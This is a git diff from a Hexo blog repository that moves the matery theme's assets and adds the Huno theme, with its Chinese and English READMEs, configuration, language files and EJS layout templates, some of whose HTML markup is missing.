270px}.datepicker-controls,.datepicker-table,.datepicker-footer{width:320px}.datepicker-day-button{line-height:44px}}.timepicker-modal{max-width:325px;max-height:none}.timepicker-container.modal-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;padding:0}.text-primary{color:#fff}.timepicker-digital-display{-webkit-box-flex:1;-webkit-flex:1 auto;-ms-flex:1 auto;flex:1 auto;background-color:#26a69a;padding:10px;font-weight:300}.timepicker-text-container{font-size:4rem;font-weight:bold;text-align:center;color:rgba(255,255,255,0.6);font-weight:400;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.timepicker-span-hours,.timepicker-span-minutes,.timepicker-span-am-pm div{cursor:pointer}.timepicker-span-hours{margin-right:3px}.timepicker-span-minutes{margin-left:3px}.timepicker-display-am-pm{font-size:1.3rem;position:absolute;right:1rem;bottom:1rem;font-weight:400}.timepicker-analog-display{-webkit-box-flex:2.5;-webkit-flex:2.5 auto;-ms-flex:2.5 auto;flex:2.5 auto}.timepicker-plate{background-color:#eee;border-radius:50%;width:270px;height:270px;overflow:visible;position:relative;margin:auto;margin-top:25px;margin-bottom:5px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.timepicker-canvas,.timepicker-dial{position:absolute;left:0;right:0;top:0;bottom:0}.timepicker-minutes{visibility:hidden}.timepicker-tick{border-radius:50%;color:rgba(0,0,0,0.87);line-height:40px;text-align:center;width:40px;height:40px;position:absolute;cursor:pointer;font-size:15px}.timepicker-tick.active,.timepicker-tick:hover{background-color:rgba(38,166,154,0.25)}.timepicker-dial{-webkit-transition:opacity 350ms, -webkit-transform 350ms;transition:opacity 350ms, -webkit-transform 350ms;transition:transform 350ms, opacity 350ms;transition:transform 350ms, opacity 350ms, -webkit-transform 350ms}.timepicker-dial-out{opacity:0}.timepicker-dial-out.timepicker-hours{-webkit-transform:scale(1.1, 1.1);transform:scale(1.1, 1.1)}.timepicker-dial-out.timepicker-minutes{-webkit-transform:scale(0.8, 0.8);transform:scale(0.8, 0.8)}.timepicker-canvas{-webkit-transition:opacity 175ms;transition:opacity 175ms}.timepicker-canvas line{stroke:#26a69a;stroke-width:4;stroke-linecap:round}.timepicker-canvas-out{opacity:0.25}.timepicker-canvas-bearing{stroke:none;fill:#26a69a}.timepicker-canvas-bg{stroke:none;fill:#26a69a}.timepicker-footer{margin:0 auto;padding:5px 1rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.timepicker-clear{color:#F44336}.timepicker-close{color:#26a69a}.timepicker-clear,.timepicker-close{padding:0 20px}@media only screen and (min-width: 601px){.timepicker-modal{max-width:600px}.timepicker-container.modal-content{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}.timepicker-text-container{top:32%}.timepicker-display-am-pm{position:relative;right:auto;bottom:auto;text-align:center;margin-top:1.2rem}} diff --git a/libs/materialize/materialize.min.js b/themes/hexo-theme-matery/source/libs/materialize/materialize.min.js similarity index 100% rename from libs/materialize/materialize.min.js rename to themes/hexo-theme-matery/source/libs/materialize/materialize.min.js diff --git a/libs/others/busuanzi.pure.mini.js b/themes/hexo-theme-matery/source/libs/others/busuanzi.pure.mini.js similarity index 100% rename from libs/others/busuanzi.pure.mini.js rename to themes/hexo-theme-matery/source/libs/others/busuanzi.pure.mini.js diff --git a/libs/others/clicklove.js b/themes/hexo-theme-matery/source/libs/others/clicklove.js similarity index 100% rename from libs/others/clicklove.js rename to themes/hexo-theme-matery/source/libs/others/clicklove.js diff --git a/libs/scrollprogress/scrollProgress.min.js b/themes/hexo-theme-matery/source/libs/scrollprogress/scrollProgress.min.js similarity index 100% rename from libs/scrollprogress/scrollProgress.min.js rename to themes/hexo-theme-matery/source/libs/scrollprogress/scrollProgress.min.js diff --git a/libs/share/css/share.min.css b/themes/hexo-theme-matery/source/libs/share/css/share.min.css similarity index 100% rename from libs/share/css/share.min.css rename to themes/hexo-theme-matery/source/libs/share/css/share.min.css diff --git a/libs/share/fonts/iconfont.eot b/themes/hexo-theme-matery/source/libs/share/fonts/iconfont.eot similarity index 100% rename from libs/share/fonts/iconfont.eot rename to themes/hexo-theme-matery/source/libs/share/fonts/iconfont.eot diff --git a/libs/share/fonts/iconfont.svg b/themes/hexo-theme-matery/source/libs/share/fonts/iconfont.svg similarity index 100% rename from libs/share/fonts/iconfont.svg rename to themes/hexo-theme-matery/source/libs/share/fonts/iconfont.svg diff --git a/libs/share/fonts/iconfont.ttf b/themes/hexo-theme-matery/source/libs/share/fonts/iconfont.ttf similarity index 100% rename from libs/share/fonts/iconfont.ttf rename to themes/hexo-theme-matery/source/libs/share/fonts/iconfont.ttf diff --git a/libs/share/fonts/iconfont.woff b/themes/hexo-theme-matery/source/libs/share/fonts/iconfont.woff similarity index 100% rename from libs/share/fonts/iconfont.woff rename to themes/hexo-theme-matery/source/libs/share/fonts/iconfont.woff diff --git a/libs/share/js/jquery.share.min.js b/themes/hexo-theme-matery/source/libs/share/js/jquery.share.min.js similarity index 100% rename from libs/share/js/jquery.share.min.js rename to themes/hexo-theme-matery/source/libs/share/js/jquery.share.min.js diff --git a/libs/share/js/social-share.min.js b/themes/hexo-theme-matery/source/libs/share/js/social-share.min.js similarity index 100% rename from libs/share/js/social-share.min.js rename to themes/hexo-theme-matery/source/libs/share/js/social-share.min.js diff --git a/libs/tocbot/tocbot.css b/themes/hexo-theme-matery/source/libs/tocbot/tocbot.css similarity index 100% rename from libs/tocbot/tocbot.css rename to themes/hexo-theme-matery/source/libs/tocbot/tocbot.css diff --git a/libs/tocbot/tocbot.min.js b/themes/hexo-theme-matery/source/libs/tocbot/tocbot.min.js similarity index 100% rename from libs/tocbot/tocbot.min.js rename to themes/hexo-theme-matery/source/libs/tocbot/tocbot.min.js diff --git a/libs/valine/Valine.min.js b/themes/hexo-theme-matery/source/libs/valine/Valine.min.js similarity index 100% rename from libs/valine/Valine.min.js rename to themes/hexo-theme-matery/source/libs/valine/Valine.min.js diff --git a/libs/valine/av-min.js b/themes/hexo-theme-matery/source/libs/valine/av-min.js similarity index 100% rename from libs/valine/av-min.js rename to themes/hexo-theme-matery/source/libs/valine/av-min.js diff --git a/medias/avatar.jpg b/themes/hexo-theme-matery/source/medias/avatar.jpg similarity index 100% rename from medias/avatar.jpg rename to themes/hexo-theme-matery/source/medias/avatar.jpg diff --git a/medias/banner/0.jpg b/themes/hexo-theme-matery/source/medias/banner/0.jpg similarity index 100% rename from medias/banner/0.jpg rename to themes/hexo-theme-matery/source/medias/banner/0.jpg diff --git a/medias/banner/1.jpg b/themes/hexo-theme-matery/source/medias/banner/1.jpg similarity index 100% rename from medias/banner/1.jpg rename to themes/hexo-theme-matery/source/medias/banner/1.jpg diff --git a/medias/banner/2.jpg b/themes/hexo-theme-matery/source/medias/banner/2.jpg similarity index 100% rename from medias/banner/2.jpg rename to themes/hexo-theme-matery/source/medias/banner/2.jpg diff --git a/medias/banner/3.jpg b/themes/hexo-theme-matery/source/medias/banner/3.jpg similarity index 100% rename from medias/banner/3.jpg rename to themes/hexo-theme-matery/source/medias/banner/3.jpg diff --git a/medias/banner/4.jpg b/themes/hexo-theme-matery/source/medias/banner/4.jpg similarity index 100% rename from medias/banner/4.jpg rename to themes/hexo-theme-matery/source/medias/banner/4.jpg diff --git a/medias/banner/5.jpg b/themes/hexo-theme-matery/source/medias/banner/5.jpg similarity index 100% rename from medias/banner/5.jpg rename to themes/hexo-theme-matery/source/medias/banner/5.jpg diff --git a/medias/banner/6.jpg b/themes/hexo-theme-matery/source/medias/banner/6.jpg similarity index 100% rename from medias/banner/6.jpg rename to themes/hexo-theme-matery/source/medias/banner/6.jpg diff --git a/medias/cover.jpg b/themes/hexo-theme-matery/source/medias/cover.jpg similarity index 100% rename from medias/cover.jpg rename to themes/hexo-theme-matery/source/medias/cover.jpg diff --git a/medias/featureimages/0.jpg b/themes/hexo-theme-matery/source/medias/featureimages/0.jpg similarity index 100% rename from medias/featureimages/0.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/0.jpg diff --git a/medias/featureimages/1.jpg b/themes/hexo-theme-matery/source/medias/featureimages/1.jpg similarity index 100% rename from medias/featureimages/1.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/1.jpg diff --git a/medias/featureimages/10.jpg b/themes/hexo-theme-matery/source/medias/featureimages/10.jpg similarity index 100% rename from medias/featureimages/10.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/10.jpg diff --git a/medias/featureimages/11.jpg b/themes/hexo-theme-matery/source/medias/featureimages/11.jpg similarity index 100% rename from medias/featureimages/11.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/11.jpg diff --git a/medias/featureimages/12.jpg b/themes/hexo-theme-matery/source/medias/featureimages/12.jpg similarity index 100% rename from medias/featureimages/12.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/12.jpg diff --git a/medias/featureimages/13.jpg b/themes/hexo-theme-matery/source/medias/featureimages/13.jpg similarity index 100% rename from medias/featureimages/13.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/13.jpg diff --git a/medias/featureimages/14.jpg b/themes/hexo-theme-matery/source/medias/featureimages/14.jpg similarity index 100% rename from medias/featureimages/14.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/14.jpg diff --git a/medias/featureimages/15.jpg b/themes/hexo-theme-matery/source/medias/featureimages/15.jpg similarity index 100% rename from medias/featureimages/15.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/15.jpg diff --git a/medias/featureimages/16.jpg b/themes/hexo-theme-matery/source/medias/featureimages/16.jpg similarity index 100% rename from medias/featureimages/16.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/16.jpg diff --git a/medias/featureimages/17.jpg b/themes/hexo-theme-matery/source/medias/featureimages/17.jpg similarity index 100% rename from medias/featureimages/17.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/17.jpg diff --git a/medias/featureimages/18.jpg b/themes/hexo-theme-matery/source/medias/featureimages/18.jpg similarity index 100% rename from medias/featureimages/18.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/18.jpg diff --git a/medias/featureimages/19.jpg b/themes/hexo-theme-matery/source/medias/featureimages/19.jpg similarity index 100% rename from medias/featureimages/19.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/19.jpg diff --git a/medias/featureimages/2.jpg b/themes/hexo-theme-matery/source/medias/featureimages/2.jpg similarity index 100% rename from medias/featureimages/2.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/2.jpg diff --git a/medias/featureimages/20.jpg b/themes/hexo-theme-matery/source/medias/featureimages/20.jpg similarity index 100% rename from medias/featureimages/20.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/20.jpg diff --git a/medias/featureimages/21.jpg b/themes/hexo-theme-matery/source/medias/featureimages/21.jpg similarity index 100% rename from medias/featureimages/21.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/21.jpg diff --git a/medias/featureimages/22.jpg b/themes/hexo-theme-matery/source/medias/featureimages/22.jpg similarity index 100% rename from medias/featureimages/22.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/22.jpg diff --git a/medias/featureimages/23.jpg b/themes/hexo-theme-matery/source/medias/featureimages/23.jpg similarity index 100% rename from medias/featureimages/23.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/23.jpg diff --git a/medias/featureimages/3.jpg b/themes/hexo-theme-matery/source/medias/featureimages/3.jpg similarity index 100% rename from medias/featureimages/3.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/3.jpg diff --git a/medias/featureimages/4.jpg b/themes/hexo-theme-matery/source/medias/featureimages/4.jpg similarity index 100% rename from medias/featureimages/4.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/4.jpg diff --git a/medias/featureimages/5.jpg b/themes/hexo-theme-matery/source/medias/featureimages/5.jpg similarity index 100% rename from medias/featureimages/5.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/5.jpg diff --git a/medias/featureimages/6.jpg b/themes/hexo-theme-matery/source/medias/featureimages/6.jpg similarity index 100% rename from medias/featureimages/6.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/6.jpg diff --git a/medias/featureimages/7.jpg b/themes/hexo-theme-matery/source/medias/featureimages/7.jpg similarity index 100% rename from medias/featureimages/7.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/7.jpg diff --git a/medias/featureimages/8.jpg b/themes/hexo-theme-matery/source/medias/featureimages/8.jpg similarity index 100% rename from medias/featureimages/8.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/8.jpg diff --git a/medias/featureimages/9.jpg b/themes/hexo-theme-matery/source/medias/featureimages/9.jpg similarity index 100% rename from medias/featureimages/9.jpg rename to themes/hexo-theme-matery/source/medias/featureimages/9.jpg diff --git a/medias/logo.png b/themes/hexo-theme-matery/source/medias/logo.png similarity index 100% rename from medias/logo.png rename to themes/hexo-theme-matery/source/medias/logo.png diff --git a/medias/reward/alipay.jpg b/themes/hexo-theme-matery/source/medias/reward/alipay.jpg similarity index 100% rename from medias/reward/alipay.jpg rename to themes/hexo-theme-matery/source/medias/reward/alipay.jpg diff --git a/medias/reward/wechat.jpg b/themes/hexo-theme-matery/source/medias/reward/wechat.jpg similarity index 100% rename from medias/reward/wechat.jpg rename to themes/hexo-theme-matery/source/medias/reward/wechat.jpg diff --git a/themes/huno/README.en.md b/themes/huno/README.en.md new file mode 100644 index 0000000..31050fc --- /dev/null +++ b/themes/huno/README.en.md @@ -0,0 +1,15 @@ +# Huno + +Huno is a responsible theme for [Hexo](http://hexo.io/), and it is based on [Uno](https://github.com/daleanthony/uno/). + + +## Install + +``` +$ git clone git://github.com/someus/huno.git themes/huno +``` + +Huno performs well with Hexo 2.5.7. + +## Enable +Please modify `theme` setting in `_config.yml` to `huno`. diff --git a/themes/huno/README.md b/themes/huno/README.md new file mode 100644 index 0000000..ced70fc --- /dev/null +++ b/themes/huno/README.md @@ -0,0 +1,252 @@ +# Huno + +Huno是为[Hexo](http://hexo.io/)编写的一个响应式的主题,该主题基于[Uno](https://github.com/daleanthony/uno/)。 + +![](./demo.gif) + +## Demo + +[Huno's demo](http://hi.letiantian.me/huno/) + +## 安装 + +```plain +$ git clone git://github.com/someus/huno.git themes/huno +``` + +修改Hexo的配置文件`_config.xml`: +```plain +theme: huno +``` + + +## 兼容性 +在Hexo 3.1.1测试正常。 + +## 配置示例 + +```yaml +# Header +menu: + 首页: /#blog + 关于: /about + 归档: /archive + +# Site favicon +favicon: /favicon.png + +# Site logo +# logo: /avatar.png + +# Enable Mathjax +mathjax: true + +# Enable awesome-toc +awesome_toc: true + +# Enable githubRepoWidget +github_repo_widget: false +``` + +menu中定义`/#blog`是必须的,示例中的`/about`和`/archive`是两个页面。`/archive`会在下面的**归档页面**中介绍。 + +**mathjax:** + +数学公式支持。其设置(layout/_scripts/mathjax.ejs)如下: +``` +$(document).ready(function(){ + MathJax.Hub.Config({ + tex2jax: {inlineMath: [['[latex]','[/latex]'], ['\\(','\\)']]} + }); +}); +``` + +官网:[mathjax](https://www.mathjax.org/) + + +**awesome_toc:** + +为文章生成目录。 + +官网:[awesome-toc](https://github.com/someus/awesome-toc) + +**github_repo_widget:** + +可视化显示github中的项目。 + +官网:[GitHub-jQuery-Repo-Widget](https://github.com/JoelSutherland/GitHub-jQuery-Repo-Widget) + + +## 侧边栏图片 +侧边栏图片URL定义在`source/css/uno.css`中下面的这段代码中: +```css +.panel-cover { + display: block; + position: fixed; + z-index: 900; + width: 100%; + max-width: none; + height: 100%; + background: url(../images/background-cover.jpg) top left no-repeat #666666; + background-size: cover; } +``` + +可以看出图片路径是`source/images/background-cover.jpg`。可以根据需要替换成不同的图片,或者修改图片URL。例如修改成CDN中的某个图片([#28](https://github.com/someus/huno/pull/28)): + +``` +background: url("//img.alicdn.com/tps/TB1UC8nJVXXXXbRXpXXXXXXXXXX-1920-1200.jpg") top left no-repeat #666666; +``` + + +## 归档页面 +归档页面会显示分类、标签云以及基于日期的归档。 + +在主题的配置文件`_config.yml`中: +```yaml +# Header +menu: + 首页: /#blog + 关于: /about + 归档: /archive +``` + +创建新的page: +```plain +$ hexo new page archive +$ cd source/archive +$ vim index.md +``` + +内容修改为: +``` +title: 归档 +layout: page-archive +--- +``` + +浏览器访问`http://127.0.0.1:4000/archive/`即可。 + +> !! hexo 默认有一个`/archives`,如果您认为归档页面的url(`/archive`)和这个冲突,可以选更加合适的名称:blush:。 + + +## 评论系统 + +将评论系统(例如Disqus、多说、友言、畅言等)提供的代码片段粘贴在`layout/_partials/comments.js`中即可。 + +## Social Icon +默认提供了Github的图标,Github用户名请在Hexo的配置文件`_config.yml`中配置,例如: +```yaml +# Social +social: + github: someus +``` + +可以根据需要在`layout/_partials/social.ejs`中添加更多的图标。 + + +## China Social Icon +> 这套字体来自 [设计素材:国内常用社交图标的web字体](http://www.zcool.com.cn/gfx/ZMzM1MjEy.html), 版权归原作者所有。在huno中CSS文件做了些修改。 + +这套字体和上面`Social Icon`的设计得并不一样,如果混用,排版效果会略差。例如,在`layout/_partials/social.ejs`加上: + +``` + + + +``` + +效果如下: + +![](./cs-icon.png) + +字体文件位于`source/fonts/china-social/`中,对应的css文件是`source/css/china-social-icon.css`。 + + +## 网站统计 +将网站统计(如Google analysis、CNZZ、百度统计等)代码放入`layout/_scripts/site-analytics.ejs`即可。 + +## 如何将Huno生成的静态网站放在某网站子目录 + +例如要将其放入`http://hi.letiantian.me/huno/`下,则需要: + +**修改Hexo配置文件`_config.yml`:** + +```yaml +# URL +## If your site is put in a subdirectory, set url as 'http://yoursite.com/child' and root as '/child/' +url: http://hi.letiantian.me/huno +root: /huno/ +``` + +**修改主题的配置文件`_config.yml`:** + +```yaml +# Header +menu: + 首页: /huno/#blog + 关于: /huno/about + 归档: /huno/archive + +# Site favicon +favicon: /huno/favicon.png +``` + +**修改`huno/source/js/main.js`:** + +将 +```js +if (window.location.pathname != "/") { + $('.panel-cover').addClass('panel-cover--collapsed'); +} +``` + +修改为 +```js +if (window.location.pathname != "/huno/") { + $('.panel-cover').addClass('panel-cover--collapsed'); +} +``` + +**修改`huno/layout/_partials/side-panel.ejs`:** + +将 +```plain +<% for (var i in theme.menu){ %> + <% + if (theme.menu[i]+'' == '/#blog') { + nav_btn_class = 'blog-button'; + } else { + nav_btn_class = ''; + } + %> +``` + +修改为: + +```plain +<% for (var i in theme.menu){ %> + <% + if (theme.menu[i]+'' == '/huno/#blog') { + nav_btn_class = 'blog-button'; + } else { + nav_btn_class = ''; + } + %> +``` + +## 其他 + +如果在中国大陆使用该主题后,访问速度变慢,可以考虑注释掉`source/css/uno.css`的第一行。 + +## License +[Creative Commons Attribution 4.0 International](https://creativecommons.org/licenses/by/4.0/) diff --git a/themes/huno/_config.yml b/themes/huno/_config.yml new file mode 100644 index 0000000..9b54842 --- /dev/null +++ b/themes/huno/_config.yml @@ -0,0 +1,20 @@ +# Header +menu: + 首页: /#blog + 关于: /about + 归档: /archive + +# Site favicon +favicon: /favicon.png + +# Site logo +# logo: /avatar.png + +# Enable Mathjax +mathjax: true + +# Enable awesome-toc +awesome_toc: true + +# Enable githubRepoWidget +github_repo_widget: false \ No newline at end of file diff --git a/themes/huno/cs-icon.png b/themes/huno/cs-icon.png new file mode 100644 index 0000000..27c8ba2 Binary files /dev/null and b/themes/huno/cs-icon.png differ diff --git a/themes/huno/demo.gif b/themes/huno/demo.gif new file mode 100644 index 0000000..2ca6561 Binary files /dev/null and b/themes/huno/demo.gif differ diff --git a/themes/huno/languages/default.yml b/themes/huno/languages/default.yml new file mode 100644 index 0000000..24adb82 --- /dev/null +++ b/themes/huno/languages/default.yml @@ -0,0 +1,11 @@ +archive_title: Archives +category_title: Category +tag_title: Tag +rss_title: RSS +excerpt_title: Read More + +comment: Comments + +pagination: + prev: Prev + next: Next \ No newline at end of file diff --git a/themes/huno/languages/zh-CN.yml b/themes/huno/languages/zh-CN.yml new file mode 100644 index 0000000..d673081 --- /dev/null +++ b/themes/huno/languages/zh-CN.yml @@ -0,0 +1,15 @@ +archive_title: 归档 +category_title: 分类 +tag_title: 标签 +rss_title: RSS +excerpt_title: 阅读全文 + +comment: 评论 + +categories: 分类 +tags: 标签 +archives: 归档 + +pagination: + prev: 上一页 + next: 下一页 \ No newline at end of file diff --git a/themes/huno/languages/zh-TW.yml b/themes/huno/languages/zh-TW.yml new file mode 100644 index 0000000..c35543b --- /dev/null +++ b/themes/huno/languages/zh-TW.yml @@ -0,0 +1,15 @@ +archive_title: 所有文章 +category_title: 分類 +tag_title: 標籤 +rss_title: RSS +excerpt_title: 閱讀全文 + +comment: 留言 + +categories: 分類 +tags: 標籤 +archives: 所有文章 + +pagination: + prev: 上一頁 + next: 下一頁 diff --git a/themes/huno/layout/_partials/archive.ejs b/themes/huno/layout/_partials/archive.ejs new file mode 100644 index 0000000..3e4bf3a --- /dev/null +++ b/themes/huno/layout/_partials/archive.ejs @@ -0,0 +1,59 @@ +<% +var title = ''; + +if (is_category()) { + title = page.category; +} else if (is_tag()) { + title = page.tag; +} else if (is_month()) { + title = page.year + '/' + page.month; +} else if (is_year()) { + title = page.year; +} + +%> + +<% if (type == 'index' || title == '') { %> + +<% } else if (is_category()) {%> +

    <%= __('category_title') %>: <%= title %>

    +
    +<% } else if (is_tag()) { %> +

    <%= __('tag_title') %>: <%= title %>

    +
    +<% } else if (is_year() || is_mongth()) { %> +

    <%= __('archive_title') %>: <%= title %>

    +
    +<% } %> + +
    +
      + + <% page.posts.each(function(post, i){ %> +
    1. + +

      + <%= post.title %> +

      + +
      + + +
      + +
      + <% if (post.description) { %> + <%- post.description %> + <% } else if (post.excerpt) { %> + <%- post.excerpt %> + <% } %> +
      + +
      +
    2. + <% }); %> +
    + + <%- partial('pagination') %> + +
    \ No newline at end of file diff --git a/themes/huno/layout/_partials/article.ejs b/themes/huno/layout/_partials/article.ejs new file mode 100644 index 0000000..0898020 --- /dev/null +++ b/themes/huno/layout/_partials/article.ejs @@ -0,0 +1,55 @@ +<% +var post = page; +%> + +
    + +
    + +

    <%= post.title %>

    + + <% if (type == 'post') { %> + + + + <% } %> + +
    + +
    + <%- post.content %> +
    + + <%- partial('comment') %> + + +
    + diff --git a/themes/huno/layout/_partials/comment.ejs b/themes/huno/layout/_partials/comment.ejs new file mode 100644 index 0000000..a2e0d23 --- /dev/null +++ b/themes/huno/layout/_partials/comment.ejs @@ -0,0 +1,5 @@ +
    + + + +
    \ No newline at end of file diff --git a/themes/huno/layout/_partials/disqus.ejs b/themes/huno/layout/_partials/disqus.ejs new file mode 100644 index 0000000..3a32b11 --- /dev/null +++ b/themes/huno/layout/_partials/disqus.ejs @@ -0,0 +1,17 @@ +<% if (config.disqus_shortname && page.comments){ %> + +
    +
    + + +
    + +<% } %> \ No newline at end of file diff --git a/themes/huno/layout/_partials/duoshuo.ejs b/themes/huno/layout/_partials/duoshuo.ejs new file mode 100644 index 0000000..ab08260 --- /dev/null +++ b/themes/huno/layout/_partials/duoshuo.ejs @@ -0,0 +1,21 @@ +<% if (config.duoshuo_shortname && page.comments){ %> + +
    + +
    + + + +
    + +<% } %> \ No newline at end of file diff --git a/themes/huno/layout/_partials/footer.ejs b/themes/huno/layout/_partials/footer.ejs new file mode 100644 index 0000000..69d1069 --- /dev/null +++ b/themes/huno/layout/_partials/footer.ejs @@ -0,0 +1,5 @@ +
    + + © 2014-2015. | 由Hexo强力驱动 | 主题Huno + +
    \ No newline at end of file diff --git a/themes/huno/layout/_partials/list-posts.ejs b/themes/huno/layout/_partials/list-posts.ejs new file mode 100644 index 0000000..e69de29 diff --git a/themes/huno/layout/_partials/pagination.ejs b/themes/huno/layout/_partials/pagination.ejs new file mode 100644 index 0000000..22db253 --- /dev/null +++ b/themes/huno/layout/_partials/pagination.ejs @@ -0,0 +1,17 @@ +
    + + diff --git a/themes/huno/layout/_partials/side-panel.ejs b/themes/huno/layout/_partials/side-panel.ejs new file mode 100644 index 0000000..2ccd6d0 --- /dev/null +++ b/themes/huno/layout/_partials/side-panel.ejs @@ -0,0 +1,57 @@ + +<% if (is_home()) { %> +
    +<% } else { %> +
    +<% } %> + +
    + + +
    +
    + + <% if (theme.logo) { %> + + <% } %> + +

    <%= config.title %>

    +
    + + <% if (config.subtitle) { %> +

    + <%= config.subtitle %> +

    +
    + <% } %> + + + +
    + +
    + +
    +
    +
    \ No newline at end of file diff --git a/themes/huno/layout/_partials/social.ejs b/themes/huno/layout/_partials/social.ejs new file mode 100644 index 0000000..befa081 --- /dev/null +++ b/themes/huno/layout/_partials/social.ejs @@ -0,0 +1,88 @@ + + + + +<% if (config.social) { %> + + + +<% } %> \ No newline at end of file diff --git a/themes/huno/layout/_scripts/awesome-toc.ejs b/themes/huno/layout/_scripts/awesome-toc.ejs new file mode 100644 index 0000000..87f2d91 --- /dev/null +++ b/themes/huno/layout/_scripts/awesome-toc.ejs @@ -0,0 +1,14 @@ +<% if ( theme.awesome_toc && is_post()) { %> + + + + + +<% } %> \ No newline at end of file diff --git a/themes/huno/layout/_scripts/github-repo-widget.ejs b/themes/huno/layout/_scripts/github-repo-widget.ejs new file mode 100644 index 0000000..28d4491 --- /dev/null +++ b/themes/huno/layout/_scripts/github-repo-widget.ejs @@ -0,0 +1,5 @@ +<% if ( theme.github_repo_widget) { %> + + + +<% } %> \ No newline at end of file diff --git a/themes/huno/layout/_scripts/killie6.ejs b/themes/huno/layout/_scripts/killie6.ejs new file mode 100644 index 0000000..eb0e6b5 --- /dev/null +++ b/themes/huno/layout/_scripts/killie6.ejs @@ -0,0 +1,4 @@ + + \ No newline at end of file diff --git a/themes/huno/layout/_scripts/mathjax.ejs b/themes/huno/layout/_scripts/mathjax.ejs new file mode 100644 index 0000000..30e70ea --- /dev/null +++ b/themes/huno/layout/_scripts/mathjax.ejs @@ -0,0 +1,12 @@ +<% if ( theme.mathjax ) { %> + + + + +<% } %> \ No newline at end of file diff --git a/themes/huno/layout/_scripts/site-analytics.ejs b/themes/huno/layout/_scripts/site-analytics.ejs new file mode 100644 index 0000000..e69de29 diff --git a/themes/huno/layout/archive.ejs b/themes/huno/layout/archive.ejs new file mode 100644 index 0000000..ff980fc --- /dev/null +++ b/themes/huno/layout/archive.ejs @@ -0,0 +1 @@ +<%- partial('_partials/archive', {type: 'archive'}) %> \ No newline at end of file diff --git a/themes/huno/layout/category.ejs b/themes/huno/layout/category.ejs new file mode 100644 index 0000000..0c40316 --- /dev/null +++ b/themes/huno/layout/category.ejs @@ -0,0 +1 @@ +<%- partial('_partials/archive', {type: 'category'}) %> \ No newline at end of file diff --git a/themes/huno/layout/index.ejs b/themes/huno/layout/index.ejs new file mode 100644 index 0000000..7aa620e --- /dev/null +++ b/themes/huno/layout/index.ejs @@ -0,0 +1 @@ +<%- partial('_partials/archive', {type: 'index'}) %> \ No newline at end of file diff --git a/themes/huno/layout/layout.ejs b/themes/huno/layout/layout.ejs new file mode 100644 index 0000000..272b57b --- /dev/null +++ b/themes/huno/layout/layout.ejs @@ -0,0 +1,91 @@ + + + + + + + <% + var title = page.title || ''; + + if (is_archive()) { + title = __('archive_title'); + if (is_month()) { + title += ': ' + page.year + '/' + page.month; + } else if (is_year()) { + title += ': ' + page.year; + } + } else if (is_category()) { + title = __('category_title') + ': ' + page.category; + } else if (is_tag()) { + title = __('tag_title') + ': ' + page.tag; + } + + description = ''; + if (is_home()) { + title = config.title; + if (page.current && page.current > 1) { + title = 'page ' + page.current + ' | ' + config.title; + } + } else if (page.current && page.current > 1) { + title = 'page ' + page.current + ' | ' + title + ' | ' + config.title; + } else if (is_post()) { + title = title + ' | ' + config.title; + } + %> + + + <%= title %> + + + + <% if (config.author){ %> + + <% } %> + <% if ( is_home() && config.description){ %> + + <% } %> + + <%- open_graph({title: title}) %> + + <% if (theme.rss){ %> + + <% } %> + <% if (theme.favicon){ %> + + <% } %> + <%- css('css/uno.css') %> + <%- css('css/highlight') %> + <%- css('css/archive.css') %> + <%- css('css/china-social-icon.css') %> + + + + + + + + + + <%- partial('_partials/side-panel') %> + +
    +
    + <%- body %> + <%- partial('_partials/footer') %> +
    +
    + + + + + + + + <%- partial('_scripts/mathjax') %> + <%- partial('_scripts/awesome-toc') %> + <%- partial('_scripts/site-analytics') %> + <%- partial('_scripts/github-repo-widget') %> + <%- partial('_scripts/killie6') %> + + + diff --git a/themes/huno/layout/page-archive.ejs b/themes/huno/layout/page-archive.ejs new file mode 100644 index 0000000..5944542 --- /dev/null +++ b/themes/huno/layout/page-archive.ejs @@ -0,0 +1,52 @@ +<% +var post = page; +%> + +
    + +
    + +

    <%= post.title %>

    + +
    + <%- post.content %> +
    + + +
    + +
    + +
    + +<% if (site.categories.length){ %> +

    <%= __('categories') %>

    + +
    + <% site.categories.sort('name').each(function(item){ %> + <% if(item.posts.length){ %> + <%= item.name %><%= item.posts.length %> + <% } %> + <% }); %> +
    +<% } %> + +<% if (site.tags.length){ %> +

    <%= __('tags') %>

    +
    + <% site.tags.sort('posts.length','desc').limit(20).each(function(item){ %> + <% if(item.posts.length){ %> + <%= item.name %><%= item.posts.length %> + <% } %> + <% }); %> +
    +<% } %> + +<% if (site.posts.length){ %> +

    <%= __('archives') %>

    +
    + <%- list_archives() %> +
    +<% } %> + +
